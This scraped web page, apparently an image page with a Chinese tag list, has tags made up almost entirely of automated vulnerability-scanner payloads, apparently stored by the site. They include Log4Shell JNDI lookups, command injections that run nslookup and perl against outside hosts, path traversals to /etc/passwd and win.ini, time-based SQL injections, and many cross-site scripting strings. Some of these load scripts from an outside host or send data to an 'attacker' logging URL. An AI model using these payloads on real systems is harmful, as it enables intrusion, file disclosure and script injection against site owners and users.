×
照片标签：
- 1
- ${j${::-n}di:dns${::-:}//hitvadkoetidmc89b4${::-.}bxss.me}zzzz
- response.write(9428368*9603866)
- '+response.write(9428368*9603866)+'
- "+response.write(9428368*9603866)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-94220..11633${::-.}1${::-.}bxss.me}}
- echo nifpow$()\ ahpwic\nz^xyu||a #' &echo nifpow$()\ ahpwic\nz^xyu||a #|" &echo nifpow$()\ ahpwic\nz^xyu||a #
- p67tjkeq
- &echo vomhyw$()\ qmufen\nz^xyu||a #' &echo vomhyw$()\ qmufen\nz^xyu||a #|" &echo vomhyw$()\ qmufen\nz^xyu||a #
- |echo jadlgf$()\ tasoqn\nz^xyu||a #' |echo jadlgf$()\ tasoqn\nz^xyu||a #|" |echo jadlgf$()\ tasoqn\nz^xyu||a #
- (nslookup hityuqewgztzj3f25e.bxss.me||perl -e "gethostbyname('hityuqewgztzj3f25e.bxss.me')")
- $(nslookup hitvziqqywghwf5b11.bxss.me||perl -e "gethostbyname('hitvziqqywghwf5b11.bxss.me')")
- &(nslookup hitfaczbvqgqxb360f.bxss.me||perl -e "gethostbyname('hitfaczbvqgqxb360f.bxss.me')")&'\"`0&(nslookup hitfaczbvqgqxb360f.bxss.me||perl -e "gethostbyname('hitfaczbvqgqxb360f.bxss.me')")&`'
- |(nslookup hitakedhsseuxad3ed.bxss.me||perl -e "gethostbyname('hitakedhsseuxad3ed.bxss.me')")
- `(nslookup hitgszbelwgvj60006.bxss.me||perl -e "gethostbyname('hitgszbelwgvj60006.bxss.me')")`
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- ../../../../../../../../../../etc/passwd .jpg
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- /../..//../..//../..//../..//../..//etc/passwd .jpg
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- %2fetc%2fpasswd
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- ................etc/passwd
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- /WEB-INF/web.xml
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini .jpg
- 12345'"\'\")
- /../../../../../../../../../../boot.ini
- windowswin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- <esi:include src="http://bxss.me/rpb.png"/>
- WEB-INF/web.xml
- WEB-INF\web.xml
- ${9999765+10000406}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- &n964386=v919121
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- )
- '"()
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '.gethostbyname(lc('hitie'.'fbnwnfra48bd2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(79).chr(118).chr(90).'
- ".gethostbyname(lc("hitdz"."yfdsobtmf493f.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(89).chr(105).chr(88)."
- HttP://bxss.me/t/xss.html?%00
- '
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(118).concat(76).concat(106).concat(68)+(require"socket" Socket.gethostbyname("hitzj"+"ebojaqhvdecfc.bxss.me.")[3].to_s)+"
- ${@print(md5(31337))}
- '+'A'.concat(70-3).concat(22*4).concat(103).concat(82).concat(97).concat(70)+(require'socket' Socket.gethostbyname('hitmg'+'oyzomqosb015c.bxss.me.')[3].to_s)+'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- ${@print(md5(31337))}\
- bibs
- '.print(md5(31337)).'
- /xfs.bxss.me
- bibs/.
- '"
- <!--
- 1'"()&%<acx><ScRiPt >UnkD(9459)</ScRiPt>
- '"()&%<acx><ScRiPt >UnkD(9966)</ScRiPt>
- 19821903
- acu7685＜s1﹥s2ʺs3ʹuca7685
- acux5946z1z2abcxuca5946
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- 4yAq6mTB
- -1 OR 2+395-395-1=0+0+0+1 --
- -1 OR 2+51-51-1=0+0+0+1
- -1' OR 2+703-703-1=0+0+0+1 --
- -1' OR 2+249-249-1=0+0+0+1 or 'FRxWljDx'='
- -1" OR 2+688-688-1=0+0+0+1 --
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- if(now()=sysdate()
- sleep(15)
- 0)
- acx__${98991*97996}__::.x
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- acu2736＜s1﹥s2ʺs3ʹuca2736
- acux2056z1z2abcxuca2056
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- 37WuBkI7'
- -5 OR 466=(SELECT 466 FROM PG_SLEEP(15))--
- -5) OR 129=(SELECT 129 FROM PG_SLEEP(15))--
- acu10932＜s1﹥s2ʺs3ʹuca10932
- acux8678z1z2abcxuca8678
- -1)) OR 164=(SELECT 164 FROM PG_SLEEP(15))--
- FaQP1tS0' OR 301=(SELECT 301 FROM PG_SLEEP(15))--
- U95ZZqBk') OR 147=(SELECT 147 FROM PG_SLEEP(15))--
- v1JHwGj4')) OR 940=(SELECT 940 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- 1"onmouseover=UnkD(91942)"
- 1" wilg=UnkD([!+!]) yVk="
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1\u0022onmouseover=UnkD(90233)\u0022
- 1 %2527%2522
- @@kPpcj
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%55%6E%6B%44%28%39%34%37%34%34%29%22
- "onmouseover=UnkD(99635)//
- 1"sTYLe='acu:Expre/**/SSion(UnkD(9421))'bad="
- 1"><script>UnkD(9997)</script>
- 1<ScRiPt >UnkD(9230)</ScRiPt>
- 1<WGOUCV>E5VKG[!+!]</WGOUCV>
- 1<script>UnkD(9260)</script>
- 1<ScR<ScRiPt>IpT>UnkD(9064)</sCr<ScRiPt>IpT>
- 1<ScRiPt >UnkD(9758)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9634></ScRiPt>
- 1< ScRiPt >UnkD(9129)</ScRiPt>
- 1<svg onload=UnkD(9806)
- 1<isindex type=image src=1 onerror=UnkD(9222)>
- 1<iframe src='data:text/html
- 1<body onload=UnkD(9444)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=UnkD(9682)>
- 1<img src=xyz OnErRor=UnkD(9306)>
- 1<img/src=">" onerror=alert(9168)>
- %31%3C%53%63%52%69%50%74%20%3E%55%6E%6B%44%289825%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\UnkD(9187)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=UnkD(90141) //>
- 1<input autofocus onfocus=UnkD(9708)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(UnkD(9732))}
- 1kgYpQ <ScRiPt >UnkD(9324)</ScRiPt>
- 1<WHW5YB>OT6MP[!+!]</WHW5YB>
- 1<ifRAme sRc=9675.com></IfRamE>
- 1<aCSC52o x=9091>
- 1<img sRc='http://attacker-9617/log.php?
- 1<aWwcQWn<
- LJgPq3Ch
- -1 OR 2+21-21-1=0+0+0+1 --
- -1 OR 2+363-363-1=0+0+0+1
- -1' OR 2+88-88-1=0+0+0+1 --
- -1' OR 2+19-19-1=0+0+0+1 or '2kdUbNb9'='
- -1" OR 2+365-365-1=0+0+0+1 --
- TsrD5aDE'
- -5 OR 77=(SELECT 77 FROM PG_SLEEP(15))--
- -5) OR 699=(SELECT 699 FROM PG_SLEEP(15))--
- -1)) OR 214=(SELECT 214 FROM PG_SLEEP(15))--
- oWUGj4Ml' OR 46=(SELECT 46 FROM PG_SLEEP(15))--
- S069GIMT') OR 788=(SELECT 788 FROM PG_SLEEP(15))--
- RIYAHxfc')) OR 144=(SELECT 144 FROM PG_SLEEP(15))--
- @@5D2L3
- 1B2LKeoCtAO
- ${j${::-n}di:dns${::-:}//hitppujsthreq28c24${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-654894..11633${::-.}1${::-.}bxss.me}}
- response.write(9250312*9533972)
- '+response.write(9250312*9533972)+'
- "+response.write(9250312*9533972)+"
- lQo2M7Xg
- echo pvfpyi$()\ byidhp\nz^xyu||a #' &echo pvfpyi$()\ byidhp\nz^xyu||a #|" &echo pvfpyi$()\ byidhp\nz^xyu||a #
- &echo pgvebv$()\ bevzbj\nz^xyu||a #' &echo pgvebv$()\ bevzbj\nz^xyu||a #|" &echo pgvebv$()\ bevzbj\nz^xyu||a #
- |echo nlbpcc$()\ alxlwe\nz^xyu||a #' |echo nlbpcc$()\ alxlwe\nz^xyu||a #|" |echo nlbpcc$()\ alxlwe\nz^xyu||a #
- (nslookup hittrkjlqkggm8f5de.bxss.me||perl -e "gethostbyname('hittrkjlqkggm8f5de.bxss.me')")
- $(nslookup hithewstjsmsh79537.bxss.me||perl -e "gethostbyname('hithewstjsmsh79537.bxss.me')")
- &(nslookup hitvjivzqqlgxe0b52.bxss.me||perl -e "gethostbyname('hitvjivzqqlgxe0b52.bxss.me')")&'\"`0&(nslookup hitvjivzqqlgxe0b52.bxss.me||perl -e "gethostbyname('hitvjivzqqlgxe0b52.bxss.me')")&`'
- |(nslookup hitgilivagawq1e983.bxss.me||perl -e "gethostbyname('hitgilivagawq1e983.bxss.me')")
- ../1
- `(nslookup hitwfhlkzlowy172fb.bxss.me||perl -e "gethostbyname('hitwfhlkzlowy172fb.bxss.me')")`
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${10000292+9999253}
- 1&n978995=v920874
- '.gethostbyname(lc('hittt'.'sovvtixm9a352.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(69).chr(119).chr(67).'
- ".gethostbyname(lc("hitsm"."zwecbbkye8740.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(87).chr(118).chr(71)."
- "
- "+"A".concat(70-3).concat(22*4).concat(111).concat(87).concat(109).concat(82)+(require"socket" Socket.gethostbyname("hitcd"+"niffcckucdef1.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(103).concat(72).concat(112).concat(76)+(require'socket' Socket.gethostbyname('hitgr'+'idjcuuznd902a.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >uP5D(9265)</ScRiPt>
- '"()&%<acx><ScRiPt >uP5D(9386)</ScRiPt>
- 19629223
- acu7375＜s1﹥s2ʺs3ʹuca7375
- acux10834z1z2abcxuca10834
- acu8276＜s1﹥s2ʺs3ʹuca8276
- acux9944z1z2abcxuca9944
- acu5145＜s1﹥s2ʺs3ʹuca5145
- acux3367z1z2abcxuca3367
- 1"onmouseover=uP5D(96162)"
- 1" vuKq=uP5D([!+!]) sm6="
- 1\u0022onmouseover=uP5D(97493)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%75%50%35%44%28%39%35%35%38%34%29%22
- "onmouseover=uP5D(98895)//
- 1"sTYLe='acu:Expre/**/SSion(uP5D(9411))'bad="
- 1"><script>uP5D(9946)</script>
- 1<ScRiPt >uP5D(9718)</ScRiPt>
- 1<WO2NOV>FV6WC[!+!]</WO2NOV>
- 1<script>uP5D(9447)</script>
- 1<ScR<ScRiPt>IpT>uP5D(9449)</sCr<ScRiPt>IpT>
- 1<ScRiPt >uP5D(9217)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9734></ScRiPt>
- 1< ScRiPt >uP5D(9874)</ScRiPt>
- 1<svg onload=uP5D(9819)
- 1<isindex type=image src=1 onerror=uP5D(9501)>
- 1<body onload=uP5D(9970)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=uP5D(9923)>
- 1<img src=xyz OnErRor=uP5D(9067)>
- 1<img/src=">" onerror=alert(9856)>
- %31%3C%53%63%52%69%50%74%20%3E%75%50%35%44%289312%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\uP5D(9925)\u003C/sCripT\u003E
- <img acu onmouseover=uP5D(96511) //>
- 1<input autofocus onfocus=uP5D(9898)>
- 1}body{acu:Expre/**/SSion(uP5D(9228))}
- 1zrNU6 <ScRiPt >uP5D(9739)</ScRiPt>
- 1<WFKV74>5PYVN[!+!]</WFKV74>
- 1<ifRAme sRc=9198.com></IfRamE>
- 1<anVS2oG x=9803>
- 1<img sRc='http://attacker-9056/log.php?
- 1<aguK739<
- response.write(9671099*9330652)
- ${j${::-n}di:dns${::-:}//hitfbrfnwaovi68061${::-.}bxss.me}zzzz
- JD8ve35B
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-671844..11633${::-.}1${::-.}bxss.me}}
- "+response.write(9671099*9330652)+"
- echo fkeeqk$()\ wrbgbv\nz^xyu||a #' &echo fkeeqk$()\ wrbgbv\nz^xyu||a #|" &echo fkeeqk$()\ wrbgbv\nz^xyu||a #
- ${9999431+10000147}
- &echo oeivnn$()\ mscseu\nz^xyu||a #' &echo oeivnn$()\ mscseu\nz^xyu||a #|" &echo oeivnn$()\ mscseu\nz^xyu||a #
- |echo zkmhpm$()\ bhtxer\nz^xyu||a #' |echo zkmhpm$()\ bhtxer\nz^xyu||a #|" |echo zkmhpm$()\ bhtxer\nz^xyu||a #
- (nslookup hitkeycrilfzs1662b.bxss.me||perl -e "gethostbyname('hitkeycrilfzs1662b.bxss.me')")
- $(nslookup hitfiszklxgyxe90cb.bxss.me||perl -e "gethostbyname('hitfiszklxgyxe90cb.bxss.me')")
- 1&n930938=v914349
- &(nslookup hitcxcfwzpiqu70579.bxss.me||perl -e "gethostbyname('hitcxcfwzpiqu70579.bxss.me')")&'\"`0&(nslookup hitcxcfwzpiqu70579.bxss.me||perl -e "gethostbyname('hitcxcfwzpiqu70579.bxss.me')")&`'
- |(nslookup hitobbbqmjezz326ce.bxss.me||perl -e "gethostbyname('hitobbbqmjezz326ce.bxss.me')")
- `(nslookup hitmppcimwoyu7d243.bxss.me||perl -e "gethostbyname('hitmppcimwoyu7d243.bxss.me')")`
- '.gethostbyname(lc('hitdc'.'tauiisff4e4ce.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(79).chr(121).chr(75).'
- ".gethostbyname(lc("hitky"."cscvwkcy4c6fd.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(80).chr(120).chr(84)."
- "+"A".concat(70-3).concat(22*4).concat(121).concat(83).concat(114).concat(78)+(require"socket" Socket.gethostbyname("hitgb"+"hhqxeyrjdaf44.bxss.me.")[3].to_s)+"
- rYkfXBJ9
- '+'A'.concat(70-3).concat(22*4).concat(101).concat(86).concat(109).concat(71)+(require'socket' Socket.gethostbyname('hitvl'+'nyejnkdi5d07e.bxss.me.')[3].to_s)+'
- -1 OR 2+305-305-1=0+0+0+1 --
- -1 OR 2+376-376-1=0+0+0+1
- -1' OR 2+31-31-1=0+0+0+1 --
- -1' OR 2+233-233-1=0+0+0+1 or '06ZWjXJZ'='
- -1" OR 2+991-991-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >IqkU(9443)</ScRiPt>
- '"()&%<acx><ScRiPt >IqkU(9957)</ScRiPt>
- 19365615
- acu4747＜s1﹥s2ʺs3ʹuca4747
- TIWuUWb7'
- -5 OR 927=(SELECT 927 FROM PG_SLEEP(15))--
- -5) OR 619=(SELECT 619 FROM PG_SLEEP(15))--
- -1)) OR 776=(SELECT 776 FROM PG_SLEEP(15))--
- vJ8EYzYg' OR 654=(SELECT 654 FROM PG_SLEEP(15))--
- db4PH1Xw') OR 310=(SELECT 310 FROM PG_SLEEP(15))--
- oRO5Smoo')) OR 577=(SELECT 577 FROM PG_SLEEP(15))--
- @@NY9gW
- acu10609＜s1﹥s2ʺs3ʹuca10609
- acux2730z1z2abcxuca2730
- acu10518＜s1﹥s2ʺs3ʹuca10518
- acux6150z1z2abcxuca6150
- 1"onmouseover=IqkU(98032)"
- 1" PGHO=IqkU([!+!]) 8SN="
- 1\u0022onmouseover=IqkU(95213)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%49%71%6B%55%28%39%31%30%35%34%29%22
- "onmouseover=IqkU(91575)//
- 1"sTYLe='acu:Expre/**/SSion(IqkU(9631))'bad="
- 1"><script>IqkU(9238)</script>
- 1<ScRiPt >IqkU(9619)</ScRiPt>
- 1<WXPGZI>0Q4Q3[!+!]</WXPGZI>
- 1<script>IqkU(9786)</script>
- 1<ScR<ScRiPt>IpT>IqkU(9323)</sCr<ScRiPt>IpT>
- 1<ScRiPt >IqkU(9323)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9893></ScRiPt>
- 1< ScRiPt >IqkU(9213)</ScRiPt>
- 1<svg onload=IqkU(9230)
- 1<isindex type=image src=1 onerror=IqkU(9517)>
- 1<body onload=IqkU(9968)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=IqkU(9914)>
- 1<img src=xyz OnErRor=IqkU(9586)>
- 1<img/src=">" onerror=alert(9821)>
- %31%3C%53%63%52%69%50%74%20%3E%49%71%6B%55%289679%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\IqkU(9141)\u003C/sCripT\u003E
- <img acu onmouseover=IqkU(96601) //>
- 1<input autofocus onfocus=IqkU(9702)>
- 1}body{acu:Expre/**/SSion(IqkU(9514))}
- 1N4RJp <ScRiPt >IqkU(9395)</ScRiPt>
- 1<W6O5FU>JXQ2E[!+!]</W6O5FU>
- 1<ifRAme sRc=9419.com></IfRamE>
- 1<afXGsqB x=9286>
- 1<img sRc='http://attacker-9295/log.php?
- 1<aUNJYDQ<
微信扫一扫, 保存到手机
